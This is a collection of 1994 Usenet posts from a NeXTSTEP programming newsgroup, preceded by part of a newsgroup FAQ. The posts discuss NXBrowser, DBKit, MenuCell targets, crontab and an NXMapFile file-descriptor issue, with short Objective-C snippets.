comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: crontab Date: 30 May 1994 08:08:01 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May30090801@steffi.demon.co.uk> References: <1994May26.152649.171216@eros.embl-heidelberg.de> <1994May29.210610.14768@hot.com> To: Robert La Ferla <Robert_La_Ferla@hot.com> In-reply-to: Robert La Ferla's message of Sun, 29 May 1994 21:06:10 GMT <Robert_La_Ferla@hot.com> writes: >NS has /etc/crontab and /etc/crontab.local. There are no user crontab >capabilities other than what the "at" command provides. >Robert La Ferla >Hot Technologies >NEXTSTEP ISV and Consulting There is if you install Vixie cron. CRONTAB(1) UNIX Programmer's Manual CRONTAB(1) NAME crontab - maintain crontab files for individual users (V3) SYNOPSIS crontab [ -u user ] file crontab [ -u user ] { -l | -r | -e } -- "Real programmers don't create classes. They build heirarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Editable NXBrowserCells and scrolling.... Date: 30 May 1994 08:56:04 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May30095604@steffi.demon.co.uk> Has anybody ever gotten these working such that the field editor _doesn't_ corrupt the display after scrolling? ie. you are able to scroll during editing rather than making it impossible to do so when scrolling. Oh and here's another one. Given that we cannot replace the Matrix class the NXBrowser uses. Has anybody ever gotten Editable NXBrowserCells working so that the only edit on a double click.... It would seem that for non-heirarchical browsing ie. single lists you'd have to use your own Matrix subclass in a scrollview or DBTableView but when needing heirarchical views you generally have to revert back to NXBrowser... Ever wondered why you cannot edit the cell in FileViewer? I guess it's not called NXBrowser for nothing :-) ^^^^^^^ -- "Real programmers don't create classes. They build heirarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: Switch Box and DBKit ? Message-ID: <1994May30.234732.14514@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <2scbeo$2mf@cisun2000.unil.ch> Date: Mon, 30 May 1994 23:47:32 GMT In article <2scbeo$2mf@cisun2000.unil.ch> cartier@iisnext5.unil.ch (Cartier Francois) writes: > Anyone out there know how to use a switch box with DBKIT ? > Here's a switch association that maps the states to string values Y and N in the database. It works on individual switches but not on matrices of switches. @implementation Button(SwitchAssociation) - association:association setValue:(DBValue *)value; { const char *s = [value stringValue]; id myDest = [association destination]; int myState = 0; // Find state if (!s) myState = 0; else if (!strcasecmp(s, "Y")) myState = 1; [myDest setState:myState]; return self; } - association:association getValue:(DBValue *)value; { switch ([[association destination] state]) { case 0:[value setStringValue:"N"]; break; case 1:[value setStringValue:"Y"]; break; } return self; } - (const char *)stringValue; { switch ([self state]) { case 0: return "N"; case 1: return "Y"; } return NULL; } @end
From: wjs@yucca.omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: positionForRecordKey weirdness? Date: 30 May 1994 16:14:05 -0700 Organization: Omni Development, Inc. Message-ID: <2sdrvt$52l@yucca.omnigroup.com> References: <1994May27.152338.1661@il.us.swissbank.com> <1994May28.074129.2621@venice.sedd.trw.com> Ron Blanford writes: >I have found that the only reliable way to use positionForRecordKey is to >give it a key value which has been generated by the getRecordKeyValue:at: >method. The dbValue this method returns has an objectValue which is a >dbGenericRecord containing one or more key properties. It is possible to >construct one of these key values from scratch, but not without using >undocumented dbKit classes and methods. I believe (although it's been a while since I mucked with this... thank god) that you can also get DBGenericRecord DBValues by getting the value for a property that is actually a relationship. This is how subfetchgroups are fetched -- DBKit gets the value for the relationship in the master fetchgroup, and the association to the slave fetchgroup does a fetch with this DBValue (which contains a DBGenericRecord) as the "source". The DBGenericRecord inside a DBValue is a pretty common DBKit trick to keep track of multiple key/value pairs, and is really only so bletcherous because DBGenericRecord isn't documented. If it were, you could do a lot of cool stuff. -William Shipley Omni Development, Inc. PS: I would really recommend waiting until EOs come out, if you have that luxury.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Getting real width of string ... Date: 31 May 1994 06:38:56 GMT Organization: San Francisco State University Message-ID: <2sem20$5o8@nic-nac.CSU.net> References: <rep.770326966@herodes> In article <rep.770326966@herodes> rep@hrz.tu-chemnitz.de (Ralph Eppert) writes: >I have a little problem. I try to display a textfield >with a given string and font. I want to adjust the >size of the textfield to the size of the string? >How to do that? (getWidthOf doesn't seem to >give the right results). Perhaps you're accessing the wrong Font object? #import <ansi/math.h> #import <appkit/Font.h> #import <appkit/TextField.h> TextField *tf; Font *fnt, *scrn; float width; fnt=[tf font]; if (!fnt) abort(); // Should use NX_RAISE instead :-) scrn=[fnt screenFont]; width=(float)ceil((double)[(scrn ? scrn : fnt) getWidthOf: [tf stringValue]]); -=EPS=-
From: seanw@endo (Sean Woodhouse) Newsgroups: comp.sys.next.programmer Subject: Need help with dates and Sybase... Date: 31 May 1994 08:54:37 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Message-ID: <2seu0d$ed0@yarrina.connect.com.au> Hi All, We're currently doing a project that involves taking user entered dates and putting them into Sybase datetime fields. We need to put them into datetime fields so they can be sorted. I was wondering how you guys handle this problem. We've had a look at MOKit but it doesn't cut it when it comes to dates... Any help would be much apprecitated. Thanks Sean. --------------------------------------------------------- Sean Woodhouse Software Engineer Xedoc Software Development Pty Ltd, Melbourne AUSTRALIA seanw@xedoc.com.au ---------------------------------------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <ROBERT.94May31094639@steffi.demon.co.uk> Control: cancel <ROBERT.94May31094639@steffi.demon.co.uk> Date: 31 May 1994 08:49:31 GMT Organization: me organized? That's a joke! Distribution: uk Message-ID: <ROBERT.94May31094931@steffi.demon.co.uk> -- "Real programmers don't create classes. They build heirarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: charlesa@learned.co.uk Newsgroups: comp.sys.next.programmer Subject: Need programmer for HTML editor Date: Tue, 31 May 94 11:47:46 BST Organization: EUnet GB Message-ID: <2sf4m0$pdr@marble.Britain.EU.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi - I've got some partially completed code for a WYSIWYG HTML editor for NeXTSTEP, and am looking for someone to help finish it (ie. debugging!). This is not a paid job or anything, as the code will be in the public domain as soon as it is finished. That said, anybody interested in lending a hand? Drop me some email: charlesa@learned.co.uk C.
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: my UnnormalizedScroller, how to get {in/de}crement buttons to highlight Date: 31 May 94 10:13:10 Organization: Thinking Machines Corporation, Cambridge MA, USA Distribution: world Message-ID: <GBOL.94May31101310@custard.think.com> I have implemented by own UnnormalizedScroller class from scratch but am having difficulty getting the buttons to highlight properly. I have set to the scroller to use NX_CONTENTS when the state changes. But letting the ButtonCell start tracking the mouse, setting the state explicitly or using the highlight method never, ever highlights the button cell. The button cell is enabled. Does anybody have any insight into how to get the button cell to highlight as does the button cells in the Scroller class?
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Printing to Canon DJC-600? Message-ID: <ARROUYE.94May31151104@petole.imag.fr> Sender: news@imag.fr Organization: LGI-IMAG, Grenoble, France Date: Tue, 31 May 1994 13:11:04 GMT Hello, I consider buying a color printer, preferrably the Canon DJC-600. I would like to know how I can use it with NEXTSTEP. The system should render the PS, but can I find a driver for it somewhere? If not (or if ther is no public driver), where can I look for information about how to write such a driver? Another question is: supposing I have the driver written (and working ;-), is it possible to write a PPD for it so that the user will be able to make some choices that the driver will then handle before printing? Thanks for any help, Yves. PS: I would like to acknowledge here all the answers I got for my ATI and disk pbs: thanks! -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
From: dbora@ils.nwu.edu (Donald Bora) Newsgroups: comp.sys.next.programmer Subject: NXBrowser question Date: 31 May 1994 14:39:29 GMT Organization: The Institute for the Learning Sciences Distribution: world Message-ID: <2sfi71$522@anaxagoras.ils.nwu.edu> I have a programming question concerning NXBrowser. I am relatively new at NeXTStep programming and I am completely (well not completely) stumped by how one sets up an NXBrowser. Does anyone out there have any sample code or anything I can look at to get a Browser set up? Please respond via email. thanks. -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Donald F. Bora | | | The Institute for the Learning Sciences | | O | Northwestern University | (--|--) Evanston, Ill | | e-mail: dbora@ils.nwu.edu (Not NeXTMail) | / \ work: (708) 467-1014 | --------Be excellent to each other--------
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: method and function communications Message-ID: <CqoAE8.575@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <2s9hqh$ipg@larch.cc.swarthmore.edu> Date: Tue, 31 May 1994 15:15:44 GMT In article <2s9hqh$ipg@larch.cc.swarthmore.edu> he@engin.swarthmore.edu (Ye He) writes: >Hello Everybody, >I noticed that within a method a NX function can be called and arguments >passed, but within a NX function I wasn't able to send a message to >self. The compiler complained "self undefined." Also, I wasn't able to >access any instance variable within a NX function, the instance var. >was also regarded by the function as undefined. I'm pretty sure there >is a way to get by with this, could anyone out there give me a pointer >please? Please reply to my email address. Thanks alot. > self is a "special" symbol available only within a method implementation. Since a function isn't part of a class, self makes no sense. Same goes for ivars. Actually, self isn't all that special, it's just hidden. All methods actually get compiled into functions that take two secret arguments before any real arguments the method has. self is the first of these "secret" arguments, _cmd is the other. self is the receiving object and _cmd is the selector of the method (type SEL). self is the useful one most of the time, but _cmd can be used in methods just like self can if you need to know the selector of the method. So the upshot is that if you need access to some object in a function you're writing, you need to pass that object in as a parameter. (Or, if you can get to the object you want via the application object, you can always access the globally defined NXApp.) If you need to access instance variables, the OO way to do it is through method calls (like -[List count], or -[Matrix selectedCell]). There are also ways to cheat and access an object's instance variables directly from the outside but I won't tell you how 'cause it's an evil thing to do :-). ____________________________________________________________ Mike Ferris Common sense is what tells you mike@lorax.com that the world is flat. (510) 652-2039 -Malaclypse the Younger
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: BUG: NXMapFile() doesn't release file descriptor on NXClose() Message-ID: <1994May31.151144.16049@afs.com> Sender: greg@afs.com Date: Tue, 31 May 1994 15:11:44 GMT Reply-To: Greg_Anderson@afs.com "Cannot eject disk: some application is using it" Look familiar? You may have puzzled over why removable media like floppies sometimes won't unmount until an application quits, even if all documents opened from that disk have been closed. Edit.app used to do this, but the latest version is fixed. FileMerge.app, on the other hand, still exhibits this annoying quirk. So did WriteUp and PasteUp, until today. I've found the culprit: NXMapFile(). When you're working with streams from files, NeXT recommends this code stream = NXMapFile(const char *name, int mode); but when you later NXClose() the stream, the file descriptor associated with it does _not_ get closed. And since the stream won't tell you what file descriptor it is opened on, there's no way to close it yourself. As a result, it becomes impossible for Workspace to unmount the device from which the file was retrieved, even if your app thinks it is closed. Workaround: End-users cannot workaround this problem for applications that are coded improperly. For programmers, instead of NXMapFile(), use this two-part construction: if ((fd = open(const char *name, int unixMode))) // O_RDONLY, etc. stream = NXOpenFile(int fd, int NeXTMode); // NX_READONLY, etc. and then at the bottom of your code, do both NXClose(stream); close(fd); Caveat for typedstreams: The composite method NXOpenTypedStreamForFile() seems to be implemented correctly; that is to say, the file descriptor allocated by this function does seem to get released by NXClose(). Floppies don't seem to get jammed is this case. -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94
From: jdoenias@next.com (Josh Doenias) Newsgroups: comp.sys.next.programmer Subject: Re:BUG: NXMapFile() doesn't release file descriptor on NXClose() Date: 31 May 1994 22:31:37 GMT Organization: NeXT, Inc. Message-ID: <2sgds9$f0i@rosie.next.com> References: <1994May31.151144.16049@afs.com> In article <1994May31.151144.16049@afs.com> Greg_Anderson@afs.com (Gregory H. Anderson) writes: .. > >I've found the culprit: NXMapFile(). When you're working with streams from >files, NeXT recommends this code > > stream = NXMapFile(const char *name, int mode); > >but when you later NXClose() the stream, the file descriptor associated >with it does _not_ get closed. And since the stream won't tell you what >file descriptor it is opened on, there's no way to close it yourself. As >a result, it becomes impossible for Workspace to unmount the device from >which the file was retrieved, even if your app thinks it is closed. > .. This is not a bug with NXMapFile or NXClose. NXMapFile IMMEDIATELY closes the file descriptor after mapping the file into memory. The problem is with how you are closing the stream. When you use NXClose(), this is the same as calling NXCloseMemory(stream,NX_TRUNCATEBUFFER). The memory associated with the stream does NOT get freed. Since this memory refers to a mapped file, the file is considered busy until ALL its associated memory has been released. If you accessed the memory again, the Kernel would potentially have to read the file again to get at the data. The correct fix for this is to always use NXCloseMemory(stream, NX_FREEBUFFER) to close the stream. If you do this, all of the memory associated with the stream gets vm_dealloc'd, and your program will no longer be considered busy. -- josh Joshua Doenias Adult Toys Division, NeXT Computer, Inc.
Newsgroups: comp.sys.next.programmer From: willi@infoman.com Subject: WANTED: NEXTSTEP EXPERIENCED SOFTWARE TALENT Message-ID: <1994May31.233149.9862@infoman.com> Sender: root@infoman.com (Operator) Organization: Information Management Inc. Date: Tue, 31 May 1994 23:31:49 GMT Keywords: JOBS Reply-To: willi@infoman.com Distribution: world Are you interested in working on a NeXTSTEP project? We are seeking 3 experienced programmers. The first position is an advanced NeXTSTEP programmer. The position is full-time employment opportunities with benefits. Will pay to relocate. Salary is negotiable. Financial background in trading a big plus. Minimum of 3 yrs Commercial NeXTSTEP experience. Greater Chicago Area. The second position full-time employment opportunities with benefits. Will pay to relocate. Salary is negotiable. Minimum of 2 yrs Commercial NeXTSTEP experience. Greater Chicago Area. The last position is a contract for 1 year. Minimum of 1 Year Commercial Experience. In Colorado. Time is critical, so if you are interested, don't delay -- reply now. For more details contact Willi at Information Management, an Atlanta-based full-service software development firm specializing in NeXTSTEP. -- willi@infoman.com (NeXTMail preferred) Willi Berger Information Management Inc. 150 E. Ponce De Leon Ave., Suite 430 Decatur, GA 30030 ph: (404) 377-4840 ext. 314
From: chris@iastate.edu (Chris Wong) Newsgroups: comp.sys.next.programmer Subject: MenuCell target is nil? Date: 1 Jun 1994 03:58:59 GMT Organization: Iowa State University, Ames, Iowa (USA) Message-ID: <2sh123$bvl@news.iastate.edu> When I read the STEP ONE book by Michael K. Mahoney and Simson L. Garfinkel, I can't understand something. Why a MenuCell with the target set to nil can have the NXApp received the message properly??? The following is the short example program aimed to demostrate event handling on NeXTSTEP. The Quit menu item is set in the myMenu MenuCell with target set to nil implicitly. I hope someone could give me an insight. /* Tiny.m * * A tiny NeXTSTEP application which creates a * menu and a window and displays graphics * in the window. */ #import <math.h> #import <dpsclient/wraps.h> #import <appkit/Application.h> #import <appkit/Window.h> #import <appkit/Menu.h> #import <appkit/View.h> void demo(void) { id myWindow, myView, myMenu; NXRect graphicsRect; float f, g; /* to draw the pattern */ float pi = 2 * acos(0.0); const n = 31; /* set up and display the window */ NXSetRect(&graphicsRect, 100.0, 350.0, 400.0, 400.0); /* handy function */ myWindow = [ [Window alloc] initContent: &graphicsRect style: NX_TITLEDSTYLE backing: NX_BUFFERED buttonMask:NX_MINIATURIZEBUTTONMASK defer: NO]; [myWindow setTitle:"Tiny Application Window"]; [myWindow display]; /* set up the menu */ /* My own comment: the method/message is set with the @selector directive but the action is set to nil implicitly (The manual said this.) So where on the earth would this message go to? Experiment with the compiled program tells me that NXApp got the terminate: message... but why? Thanks for any help. */ myMenu = [ [Menu alloc] initTitle: "Tiny"]; [myMenu addItem: "Quit" action: @selector(terminate:) keyEquivalent: 'q']; [myMenu sizeToFit]; [NXApp setMainMenu:myMenu]; /* set up the View where the image will be drawn */ myView = [ [View alloc] initFrame:&graphicsRect]; [myView setOpaque:YES]; [myWindow setContentView:myView]; [myWindow makeKeyAndOrderFront:nil]; /* now do the drawing */ [myView lockFocus]; PSnewpath(); PStranslate(200.0, 200.0); /* place center */ /* These lines trace two polygons with n sides and * interconnect all of the points... */ for (f=0; f<2*pi; f+=2*pi/n) { for (g=0; g<2*pi; g+=2*pi/n) { PSmoveto( sin(f)*190.0, cos(f)*190.0 ); PSlineto( sin(g)*190.0, cos(g)*190.0 ); } } PSsetgray(NX_BLACK); PSstroke(); /* Now send the drawing commands to the Window * Server... */ [myWindow flushWindow]; /* Unlock the PostScript focus */ [myView unlockFocus]; } void main() { /* Create the application object.*/ NXApp = [Application new]; /* Display the menu, window, and graphic */ demo(); /* run the main event loop */ [NXApp run]; /* We get here when the user clicks Quit. * Free the application and go home. */ [NXApp free]; } -- NeXTMail super welcomed!!| Chris Wong | "Hardware is supposed to serve Software." chris@iastate.edu | Computer Engineering & Computer Science <:)>:)<:)>:)<:)>:)<:) | Iowa State University of Science and Technology
From: nando@ccrma.stanford.edu (Fernando Pablo Lopez Lezcano) Newsgroups: comp.sys.next.programmer Subject: buttons on cells within a NXBrowser? Date: 1 Jun 1994 05:52:21 GMT Organization: Stanford University Message-ID: <2sh7ml$677@nntp2.Stanford.EDU> Anyone out there could point me to an example of a subclass of NXBrowserCell that implements buttons embedded in the cell? I need to take two (or more) different actions depending on the place in the browser row where the user clicks. Thanks in advance for any pointer! -- Fernando nando@ccrma.stanford.edu
From: mcgredo@crl.com (Donald R. McGregor) Newsgroups: comp.sys.next.programmer Subject: Re: buttons on cells within a NXBrowser? Date: 31 May 1994 23:45:49 -0700 Organization: YoyoDyne Propulsion Systems Message-ID: <2shaqt$48i@crl.crl.com> References: <2sh7ml$677@nntp2.Stanford.EDU> In article <2sh7ml$677@nntp2.Stanford.EDU> nando@ccrma.stanford.edu writes: :>Anyone out there could point me to an example of a subclass of :>NXBrowserCell that implements buttons embedded in the cell? I need to take :>two (or more) different actions depending on the place in the browser row :>where the user clicks. I suspect you'd be better off subclassing the matrix that lives in the browser. That can catch mouseDowns, since it's a responder. Cell's aren't, to keep them more lightweight. The basic strategy I'd follow is to find what cell was hit with a getRow:andCol:forPoint: in a subclass override of mouseDown: in Matrix. Then you can query the cell to see what action you should take based on the location of the hit (which implies that the Cell knows about regions inside of itself somehow). From there you can set the NXBrowser to use your Matrix subclass and your Matrix subclass to use your cells. It works resonably well, at least if the 'active' regions in your cell aren't very complex. For example, if you just want to take an action when the user clicks on an icon in the NXBrowserCell it's great. -- Don McGregor mcgredo@crl.com
Newsgroups: comp.sys.next.programmer From: brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: Re: MenuCell target is nil? Message-ID: <CqpLtG.CFE@news.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany References: <2sh123$bvl@news.iastate.edu> Date: Wed, 1 Jun 1994 08:20:04 GMT In <2sh123$bvl@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: >When I read the STEP ONE book by Michael K. Mahoney and Simson L. Garfinkel, I >can't understand something. >Why a MenuCell with the target set to nil can have the NXApp received the >message properly??? >The following is the short example program aimed to demostrate event handling >on NeXTSTEP. The Quit menu item is set in the myMenu MenuCell with target set >to nil implicitly. >I hope someone could give me an insight. If the target is nil, then the action message is send to the firstResponder; if it doesn't repond, then it is send up to the responder chain until the window is reached (given none responder has such an action method). The window gives it's delegate a chance to respond and if it doesn't and the main window is different from the key window, then the main window and it's delegate are asked. Finally the message is send to NXApp's delegate and then to NXApp itself. Very powerfull mechanism! Read on in the book, it is descibed there (great book by the way)! Hope this helps, Klaus.
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: Return Key question Date: 1 Jun 1994 09:53:30 GMT Organization: Swarthmore College Engineering, Swarthmore PA Message-ID: <2shlqq$k16@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sorry if this is a stupid question, but what is the proper char.code for the carriage return? I mean when I am using keyDown: to expect the Return key to be pressed, what sign for the return key shoul I use? Please reply to my email address. Any help is appreciated! -- Ye he@engin.swarthmore.edu
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: DBModule saveChanges: last record not deleted (Solution) Message-ID: <1994Jun1.094530.1114@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH Date: Wed, 1 Jun 94 09:45:30 GMT If you have a DBRecordList which isModified because you deleted the last record, DBModules saveChanges: will not save this DBRecordList. The DBFetchGroup which is responsible for the DBRecordList "forgets" to tell it to saveModifications. Here is a workaround which should be implemented by a Controller for the DBModule. However, the delegates of DBModule and DBFetchGroup are informed about the normal stuff inside [dbmodule saveChanges:self]. All special cases (deletion of last record) will only inform the delegate of the DBRecordList. Sorry for that. The docuentation for saveModifications is wrong. This is why [aRecordList saveModifications] tests for 0 and not 1 (as the doc says). Atze PS. If anybody modifies this method to make it behave more like DBModules saveChanges: please send me your version. I don't need it right know so I will not invest more time on this bug-fix. I hope NeXT will fix it in 3.3 :-) - saveChanges:sender { id ret = self; id database = [dbmodule database]; ret = [dbmodule saveChanges:self]; if(ret && [[dbmodule rootFetchGroup] hasUnsavedChanges]) { int i; BOOL hasTransaction; BOOL wasConnected = [database isConnected]; List *fetchGroups = [[List alloc] init]; id aRecordList = nil; [dbmodule getFetchGroups:fetchGroups]; if(!wasConnected) [database connect]; hasTransaction = [database beginTransaction]; for(i=0; i<[fetchGroups count]; i++) { aRecordList = [[fetchGroups objectAt:i] recordList]; if([aRecordList isModified]) if([aRecordList saveModifications]) { ret = nil; break; } } if(hasTransaction) { if(ret) [database commitTransaction]; else [database rollbackTransaction]; } if(!wasConnected) [database disconnect]; [fetchGroups free]; } return ret; } -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: wjs@yucca.omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: Need help with dates and Sybase... Date: 1 Jun 1994 03:28:47 -0700 Organization: Omni Development, Inc. Message-ID: <2shnsv$6k0@yucca.omnigroup.com> References: <2seu0d$ed0@yarrina.connect.com.au> seanw@endo (Sean Woodhouse) writes: >We're currently doing a project that involves taking user entered dates >and putting them into Sybase datetime fields. We need to put them into >datetime fields so they can be sorted. I was wondering how you guys handle >this problem. We've had a look at MOKit but it doesn't cut it when it >comes to dates... On our palette we wrote an object that conforms to the custom types protocol and treat datetimes as BLOBs. This object can translate between Sybase-style dates and a wide variety of human-readable dates. Note that if you treat datetimes as strings instead of BLOBs in DBKit, you'll end up getting spurious warnings of the form, "Someone else has changed this record, save anyways?" The reason for this is kind of complex. -Wil
From: neuss@igd.fhg.de (Christian Neuss ) Newsgroups: comp.sys.next.programmer Subject: Re: crontab Date: 1 Jun 94 13:22:21 GMT Organization: IGD Darmstadt Message-ID: <neuss.770476941@budlight> References: <1994May26.152649.171216@eros.embl-heidelberg.de> tuparev@EMBL-Heidelberg.DE (Georg Tuparev) writes: >On SGI or SUN there is a commant called crontab >---------------- >NAME > crontab - user crontab file If you just want to change the crontab, edit /usr/lib/crontab as root. Chris -- "I ride a tandem with the random.." Christian Neuss # Fraunhofer Institute for Computer Graphics Wilhelminenstr.7 # 64283 Darmstadt # Germany e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
Newsgroups: comp.sys.next.programmer From: ivor@cs.mcgill.ca (Ivo ROTHSCHILD) Subject: Re: BUG: NXMapFile() doesn't release file descriptor on NXClose() Message-ID: <1994Jun1.141342.8409@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: Hutchison Avenue Software Corp. References: <1994May31.151144.16049@afs.com> <2sgds9$f0i@rosie.next.com> Date: Wed, 1 Jun 1994 14:13:42 GMT In article <2sgds9$f0i@rosie.next.com> jdoenias@next.com (Josh Doenias) writes: >The correct fix for this is to always use NXCloseMemory(stream, >NX_FREEBUFFER) to close the stream. If you do this, all of the memory >associated with the stream gets vm_dealloc'd, and your program will no >longer be considered busy. So NX_FREEBUFFER is still a recommended parameter to NXCloseMemory? Somehow between Rel. 3.0 and 3.2, all references to NX_FREEBUFFER were removed from the documentation on NXCloseMemory and they now recommend using vm_deallocate(). Can we still safely use NX_FREEBUFFER? Why the change in the docs? >Adult Toys Division, >NeXT Computer, Inc. This is a joke right? -ivo
